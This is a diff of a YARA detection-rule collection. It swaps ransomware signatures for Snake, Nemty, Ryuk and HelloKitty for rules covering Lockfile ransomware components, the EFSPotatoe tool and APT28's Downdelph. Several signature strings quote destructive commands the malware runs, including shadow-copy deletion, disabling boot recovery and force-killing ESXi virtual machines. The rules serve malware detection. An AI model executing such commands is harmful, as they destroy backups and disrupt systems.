-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_snake_ransomware.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60"
-		logic_hash = "3ae64fbacbf886b8d09abc3f5f8eb9c8bff809909a251f2d055056e6d12217a2"
+		description = "Detect KillProc driver used by Night Dragon for kill process before encryption"
+		author = "Arkbird_SOLG"
+		id = "b0d6a21d-f451-58c9-b640-ad57feec7c38"
+		date = "2021-08-27"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_KillProc_Aug_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "d24634e7719e3b6be3322b07c3e754e8c1275c73102c6d7f8d9abaae9887a0da"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/EKANS"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9"
+		adversary = "Lockfile"
 
 	strings:
-		$snake = { 43 3A 2F 55 73 ?? 72 ?? 2F 57 49 4E 31 2F 67 6F 2F 73 ?? 63 2F 6A 6F 62 6E 68 62 67 6E 6E 69 66 70 6F 64 68 68 70 ?? 6D 66 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 76 74 5F 73 74 ?? 69 6E 67 2E 67 6F 00 }
+		$s1 = "find %s!\n" fullword ascii
+		$s2 = "killed %s!\n" fullword ascii
+		$s3 = "DbgPrint" fullword ascii
+		$s4 = "ntoskrnl.exe" fullword ascii
+		$s5 = "SBPIMSvc.exe" fullword ascii
+		$s6 = "MsMpEng.exe" fullword ascii
+		$s7 = { 48 8b ce ff 15 92 cf ff ff 48 8b d0 48 8b cb ff 15 8e cf ff ff 48 8d 7f 08 85 c0 74 0d 48 8b 1f 44 38 23 75 db e9 a7 00 00 00 48 8b ce ff 15 68 cf ff ff 48 8b d0 48 8d 0d 6e bf ff ff ff 15 70 cf ff ff 48 8b ce ff 15 37 cf ff ff 8b c8 48 8d 54 24 40 ff 15 3a cf ff ff 85 c0 78 56 48 8b 4c 24 40 48 8d 84 24 a8 00 00 00 48 89 44 24 30 45 33 c9 44 88 64 24 28 45 33 c0 33 d2 4c 89 64 24 20 ff 15 04 cf ff ff 85 c0 74 05 45 32 f6 eb 41 48 8b 8c 24 a8 00 00 00 33 d2 ff 15 0b cf ff ff 48 8b 8c 24 a8 00 00 00 ff 15 0d cf ff ff 41 b6 01 eb 05 45 84 f6 74 19 48 8b ce ff 15 da ce ff ff 48 8b d0 48 8d 0d f0 be ff ff ff 15 e2 ce ff ff 48 8b ce ff 15 a1 ce ff ff 48 83 }
+		$s8 = "UpdaterUI.exe" fullword ascii
+		$s9 = "VipreNis.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <11000KB) and all of them
+		uint16(0)==0x5a4d and filesize >3KB and 6 of ($s*)
 }
-rule TRELLIX_ARC_Nemty_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Loader_Lockfile_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Nemty Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "e9b133d6-fd77-5201-995d-c42bae7cde46"
-		date = "2020-02-23"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Nemty.yar#L1-L45"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "73bf76533eb0bcc4afb5c72dcb8e7306471ae971212d05d0ff272f171b94b2d4"
-		logic_hash = "d055286670516318c14dcf4e5873b96eede5e1dfb3ee978553fc11f1ac6b3252"
+		description = "Detect loader used by lockerfile group"
+		author = "Arkbird_SOLG"
+		id = "031335f3-e6c7-5e94-af23-c7fb254203b7"
+		date = "2021-08-28"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_loader_Lockfile_Aug_2021_1.yara#L1-L16"
+		license_url = "N/A"
+		logic_hash = "622a673d5cb9832cf0abc9942bf0e1f64bcdbd99524dea0bd64698fffa815a9b"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Nemty"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291"
+		adversary = "Lockfile"
 
 	strings:
-		$x1 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" fullword ascii
-		$s2 = "https://pbs.twimg.com/media/Dn4vwaRW0AY-tUu.jpg:large :D" fullword ascii
-		$s3 = "MSDOS.SYS" fullword wide
-		$s4 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} " ascii
-		$s5 = "recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" fullword ascii
-		$s6 = "DECRYPT.txt" fullword ascii
-		$s7 = "pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=" fullword ascii
-		$s8 = "\\NEMTY-DECRYPT.txt\"" fullword ascii
-		$s9 = "rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8" ascii
-		$s10 = "IO.SYS" fullword wide
-		$s11 = "QgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vf" ascii
-		$s12 = "NEMTY-DECRYPT.txt" fullword wide
-		$s13 = "pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==" fullword ascii
-		$s14 = "a/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn" fullword ascii
-		$s15 = "KeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG" fullword ascii
-		$s16 = "pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=" fullword ascii
-		$s17 = "grQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vt" ascii
-		$s18 = "BOOTSECT.BAK" fullword wide
-		$s19 = "bbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVX" ascii
-		$s20 = "puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5" ascii
+		$s1 = "c:\\windows\\system32\\calc.exe" fullword ascii
+		$s2 = { 49 48 85 c0 7f ec eb 0a 33 c9 66 89 0c 45 [2] 01 10 68 [2] 00 10 68 [2] 01 10 ff 15 [2] 00 10 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 68 00 00 00 80 68 [2] 01 10 ff 15 [2] 00 10 83 f8 ff 75 08 6a 00 ff 15 [2] 00 10 50 ff 15 [2] 00 10 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc }
+		$s3 = "/proc/123/stat" fullword ascii
+		$s4 = { 33 c5 89 45 fc a1 [2] 00 10 8b 15 [2] 00 10 8b 0d [2] 00 10 56 89 45 dc 66 a1 [2] 00 10 57 89 55 e4 89 4d e0 8a 0d [2] 00 10 66 89 45 e8 33 c0 8d 55 dc 68 [2] 00 10 52 bf [2] 00 10 88 4d ea 89 45 eb 89 45 ef 89 45 f3 89 45 f7 88 45 fb e8 [2] 00 00 8b f0 83 c4 08 85 f6 74 44 8d 64 24 00 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 29 83 f8 28 75 ed 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 16 0f be 0f 3b c1 75 0f 56 47 e8 [2] 00 00 83 c4 04 83 f8 ff 75 ea 56 e8 [2] 00 00 83 c4 04 6a 00 ff 15 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) and 4 of them ))
+		uint16(0)==0x5a4d and filesize >10KB and 3 of ($s*)
 }
-rule TRELLIX_ARC_Nemty_Ransomware_2_6 : RANSOMWARE FILE
+rule ARKBIRD_SOLG_MAL_Kernel_Driver_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Nemty Ransomware version 2.6"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "335dff33-d078-58ba-b68b-a949895b710f"
-		date = "2020-04-06"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Nemty.yar#L47-L80"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "52b7d20d358d1774a360bb3897a889e14d416c3b2dff26156a506ff199c3388d"
-		logic_hash = "dacf709838ef2ef65d25bdbbd92007ab46a95953031d7bee75eac046f670171a"
+		description = "Detect kernel driver used by lockfile group"
+		author = "Arkbird_SOLG"
+		id = "80bf5286-6da6-5380-ad14-345d8122d3d4"
+		date = "2021-08-28"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_Kernel_Driver_Aug_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "225bd5995d3f1ed4c0bcb43c862662c9e5badd96a87d779d3bc6f1809d0ce3bb"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Nemty"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 50
+		tags = "FILE"
+		hash1 = "5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f"
+		hash2 = "0d18c704049700efd1353055b604072d94bcc3e5f4aa558adf8b8f8848330644"
+		hash3 = "2b7ffe47b3fabf81a76386ee953d281aeaa158f4926896fcc1425c3844e73597"
+		hash4 = "61423a95146d5fca47859e43d037944edb32f2004d86e14c7a522270bde6e2a8f"
+		adversary = "Lockfile"
 
 	strings:
-		$pattern = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????A1????????33??89????8B????578D??????????89??????????E8????????33??6A??5839????76??5683????75??508D????5350E8????????8D??????????508D????E8????????83????6A??5880??????75??C6??????4879??EB??FE????33??8A??????8B??????????30????47403B????72??5E8B????33??5FE8????????C9C3558B??51515333??5633??32??89????39????0F86????????578B????8B????8A????8B??83????74??4F74??4F75??21????0FB6??0FB6??83????8B??C1????C1????0B??8A??????????83????88????8A??????????8B????88??????83????EB??0FB6??0FB6??83????6A??C1????C1????5E0B??EB??33??0FB6??46C1????8A??????????88????40FF????8A??8B????3B????72??5F4E74??4E75??0FB6??83????8A????????????88????C6????????83????EB??0FB6??83????C1????8A??????????88????66????????????83????5EC6??????5BC9C3558B??33??F6??????75??5733??39????76??8B????8A????80????74??80????7C??80????7F??0FB6??8A??????????80????74??8B??83????83????74??4A74??4A74??4A75??08????40EB??8A??C0????80????08????40C0????EB??8A??C0????80????08????40C0????EB??C0????88????473B????72??EB??33??5F5DC3558B??518B??85??74??8B????568B??89????3B??74??576A??33??E8????????83????3B????75??5FFF??E8????????595E33??89??89????89????C9C3558B??80??????74??83??????72??538B??85??74??575356E8????????83????53E8????????595BC7????????????89????C6??????5DC2????C7??????????E9????????558B??568B??C7??????????E8????????F6??????74??56E8????????598B??5E5DC2????558B??83????81??????????A1????????33??89????????????5356578D????508D??????E8????????68????????8D????????????E8????????6A??5F33??83????66????????8D????8B??33??5089??????89??????E8????????E8????????33??66????????8B????????????03??????83????8D??????89??????89??????E8????????538D??????5083????8D??????E8????????538D????????????5083????E8????????8B??8D??????E8????????6A??33??E8????????83????????8B??????73??8D??????8D????????????5150FF??????????89??????83????0F84????????8B??????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????F6??????????????8D????????????508D??????8D??????74??E8????????598D??????51E8????????8B??598D??????E8????????6A??33??8D??????E8????????6A??8D??????E8????????83????8D??????8B??50E8????????E8????????83????E9????????E8????????8B??598D??????E8????????6A??33??8D??????E8????????8D????????????50FF??????????508D??????E8????????8B??????6A??5F39??????73??8D??????8B??????????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??74??8B??????39??????73??8D??????68????????50FF??85??74??83????8B??68????????E8????????83????8D????????????8B??51E8????????E8????????83????85??75??8B??????39??????73??8D??????83????8B??51E8????????E8????????83????6A??33??8D??????E8????????8D????????????50FF??????FF??????????85??0F85????????FF??????FF??????????33??435333??8D?????? }
+		$s1 = "\\BaseNamedObjects\\{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword wide
+		$s2 = "\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%ws" fullword wide
+		$s3 = "\\DosDevices\\%wS" fullword wide
+		$s4 = "%temp%\\" fullword wide
+		$s5 = { 5b 2b 5d 20 50 72 6f 63 65 73 73 20 6f 62 6a 65 63 74 20 28 45 50 52 4f 43 45 53 53 29 20 66 6f 75 6e 64 2c 20 30 78 25 6c 6c 58 0d 0a 00 00 00 5b 2b 5d 20 45 50 52 4f 43 45 53 53 2d 3e 50 53 5f 50 52 4f 54 45 43 54 49 4f 4e 2c 20 30 78 25 6c 6c 58 }
+		$s6 = { 48 8b 4e 20 41 b9 00 08 00 00 4d 8b c7 49 8b d5 41 ff 54 24 70 85 c0 75 09 48 8d 15 [2] 02 00 eb 49 48 8d 0d [2] 02 00 e8 b9 ef ff ff 48 8d 0d [2] 02 00 e8 ad ef ff ff 4c 8d 85 f0 02 00 00 ba 00 00 00 c0 48 8d 0d [2] 02 00 e8 [2] 00 00 ba d0 07 00 00 49 8b ce ff 15 [2] 01 00 85 c0 74 15 48 8d 15 [2] 02 00 b9 01 00 00 00 e8 [2] 00 00 33 db eb 0b 48 8b d7 48 8b ce e8 4b f3 ff ff 49 8b ce ff 15 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1500KB and $pattern
+		uint16(0)==0x5a4d and filesize >10KB and all of ($s*)
 }
-rule TRELLIX_ARC_Ryuk_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Lockfile_Packed_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Ryuk Ransomware hunting rule"
-		author = "Christiaan Beek - McAfee ATR team"
-		id = "d3e67e26-3b34-5c28-a1c0-c4aeacd49df9"
-		date = "2019-04-25"
-		modified = "2021-07-12"
-		reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Ryuk.yar#L1-L47"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "43c0be708fa8a388dce6e1dd721e24329b5b08a942d99e9b2631c90155790c4b"
+		description = "Detect lockfile ransomware (Packed version)"
+		author = "Arkbird_SOLG"
+		id = "7c1631d0-5bec-5b44-b4b2-5ddf1dbd7222"
+		date = "2021-08-28"
+		modified = "2021-08-29"
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Packed_Aug_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "a52b2715d505a657c3cd7cd31efb47c16a0ec943a4e1b742bd3ec5c6e46495c9"
 		score = 50
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v2"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Ryuk"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a"
+		hash2 = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce"
+		level = "Experimental"
+		adversary = "Lockfile"
 
 	strings:
-		$x1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
-		$x2 = "\\System32\\cmd.exe" fullword wide
-		$s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects\\ConsoleApplication54new crypted" ascii
-		$s2 = "fg4tgf4f3.dll" fullword wide
-		$s3 = "lsaas.exe" fullword wide
-		$s4 = "\\Documents and Settings\\Default User\\sys" fullword wide
-		$s5 = "\\Documents and Settings\\Default User\\finish" fullword wide
-		$s6 = "\\users\\Public\\sys" fullword wide
-		$s7 = "\\users\\Public\\finish" fullword wide
-		$s8 = "You will receive btc address for payment in the reply letter" fullword ascii
-		$s9 = "hrmlog" fullword wide
-		$s10 = "No system is safe" fullword ascii
-		$s11 = "keystorage2" fullword wide
-		$s12 = "klnagent" fullword wide
-		$s13 = "sqbcoreservice" fullword wide
-		$s14 = "tbirdconfig" fullword wide
-		$s15 = "taskkill" fullword wide
-		$op0 = { 8b 40 10 89 44 24 34 c7 84 24 c4 }
-		$op1 = { c7 44 24 34 00 40 00 00 c7 44 24 38 01 }
+		$s1 = { 90 03 ?? 40 58 4a bc 3c 64 e4 5d 2e 44 45 45 45 ?? 72 48 8e 45 45 43 45 [6] 08 f6 33 45 [5] 01 e9 e3 }
+		$s2 = { 5b 22 48 0f 5b 22 48 0f 5b 22 48 bb c7 d3 48 03 5b 22 48 bb c7 d1 48 97 5b 22 48 bb c7 d0 48 16 5b 22 48 69 34 df 48 0e 5b 22 48 5d 2e 26 49 1d 5b 22 48 5d 2e 21 49 05 5b 22 48 59 2e 27 49 28 5b 22 48 59 2e 21 49 0e 5b 22 48 5d 2e 27 49 58 5b 22 48 06 23 b1 48 02 5b 22 48 0f 5b 23 48 bf 5b 22 48 59 2e 2b 49 0d 5b 22 48 59 2e dd 48 0e 5b 22 48 59 2e 20 49 0e 5b 22 48 52 69 63 68 0f 5b 22 48 }
+		$s3 = { 44 fc 90 a9 [0-4] 1c 79 38 10 [0-4] 18 20 72 0e [2-5] 3f [0-4] 24 34 6c 05 fc [0-4] 23 40 }
+		$s4 = { c3 df [0-4] 10 4c c8 20 d3 55 56 57 41 54 41 55 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize >10KB and all of ($s*)
 }
-rule TRELLIX_ARC_RANSOM_RYUK_May2021 : RANSOMWARE FILE
+rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_2 : FILE
 {
 	meta:
-		description = "Rule to detect latest May 2021 compiled Ryuk variant"
-		author = "Marc Elias | McAfee ATR Team"
-		id = "6e415a9e-7373-50a8-ad57-f95220faed9c"
-		date = "2021-05-21"
-		modified = "2021-07-12"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Ryuk.yar#L91-L113"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "8f368b029a3a5517cb133529274834585d087a2d3a5875d03ea38e5774019c8a"
-		logic_hash = "b379c1182e60ce8c777668386d8cbd08350dd2363770dec56502bf44aaf5d7f6"
-		score = 50
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		version = "0.1"
+		description = "Detect EFSPotatoe tool (Generic rule)"
+		author = "Arkbird_SOLG"
+		id = "f40673da-7b16-5657-ba9a-f3f13034ad12"
+		date = "2021-08-27"
+		modified = "2021-08-29"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_2.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "eedad68d3192908fea2109c7fa51a2e38e31ed666424307318ac2123b95d1cd3"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050"
+		hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818"
+		hash3 = "47b85abee8a07e79ad95f48a3e3addf7235144b67b0350e2f9ac80e66f97e583"
+		hash4 = "7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd"
+		adversary = "-"
 
 	strings:
-		$ryuk_filemarker = "RYUKTM" fullword wide ascii
-		$sleep_constants = { 68 F0 49 02 00 FF (15|D1) [0-4] 68 ?? ?? ?? ?? 6A 01 }
-		$icmp_echo_constants = { 68 A4 06 00 00 6A 44 8D [1-6] 5? 6A 00 6A 20 [5-20] FF 15 }
+		$s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 }
+		$s2 = "ncacn_np" fullword wide
+		$s3 = { 5c 00 5c 00 25 00 73 00 5c 00 [1-20] 00 5c 00 [1-20] 00 }
+		$s4 = { 63 00 36 00 38 00 31 00 64 00 34 00 38 00 38 00 2d 00 64 00 38 00 35 00 30 00 2d 00 31 00 31 00 64 00 30 00 2d 00 38 00 63 00 35 00 32 00 2d 00 30 00 30 00 63 00 30 00 34 00 66 00 64 00 39 00 30 00 66 00 37 00 65 }
+		$s5 = { 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 }
 
 	condition:
-		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <200KB and ($ryuk_filemarker or ($sleep_constants and $icmp_echo_constants))
+		uint16(0)==0x5a4d and filesize >10KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Ransom_Linux_Hellokitty_0721 : RANSOMWARE FILE
+rule ARKBIRD_SOLG_APT_APT28_Downdelph_Feb_2021_1 : FILE
 {
 	meta:
-		description = "rule to detect Linux variant of the Hello Kitty Ransomware"
-		author = "Christiaan @ ATR"
-		id = "097b02e7-93d8-5d4f-9964-7b660b3cd7b9"
-		date = "2021-07-19"
-		modified = "2021-07-19"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Linux_HelloKitty0721.yar#L1-L28"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "77a3809df4c7c591a855aaecd702af62935952937bb81661aa7f68e64dcf4fb4"
+		description = "Detect Downdelph used by APT28 group"
+		author = "Arkbird_SOLG"
+		id = "0376c026-93eb-526a-8ab3-26bdd365e608"
+		date = "2021-02-18"
+		modified = "2021-02-19"
+		reference = "https://twitter.com/RedDrip7/status/1362343352759250946"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-18/APT28/APT_APT28_Downdelph_Feb_2021_1.yar#L1-L18"
+		license_url = "N/A"
+		logic_hash = "15e38ceeb0410645938ce2f90becf9a344711efd6e539f304de7b413f6f3b420"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		Rule_Version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:Linux/HelloKitty"
-		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
-		hash2 = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed"
+		quality = 75
+		tags = "FILE"
+		hash1 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b"
 
 	strings:
-		$v1 = "esxcli vm process kill -t=force -w=%d" fullword ascii
-		$v2 = "esxcli vm process kill -t=hard -w=%d" fullword ascii
-		$v3 = "esxcli vm process kill -t=soft -w=%d" fullword ascii
-		$v4 = "error encrypt: %s rename back:%s" fullword ascii
-		$v5 = "esxcli vm process list" fullword ascii
-		$v6 = "Total VM run on host:" fullword ascii
-		$v7 = "error lock_exclusively:%s owner pid:%d" fullword ascii
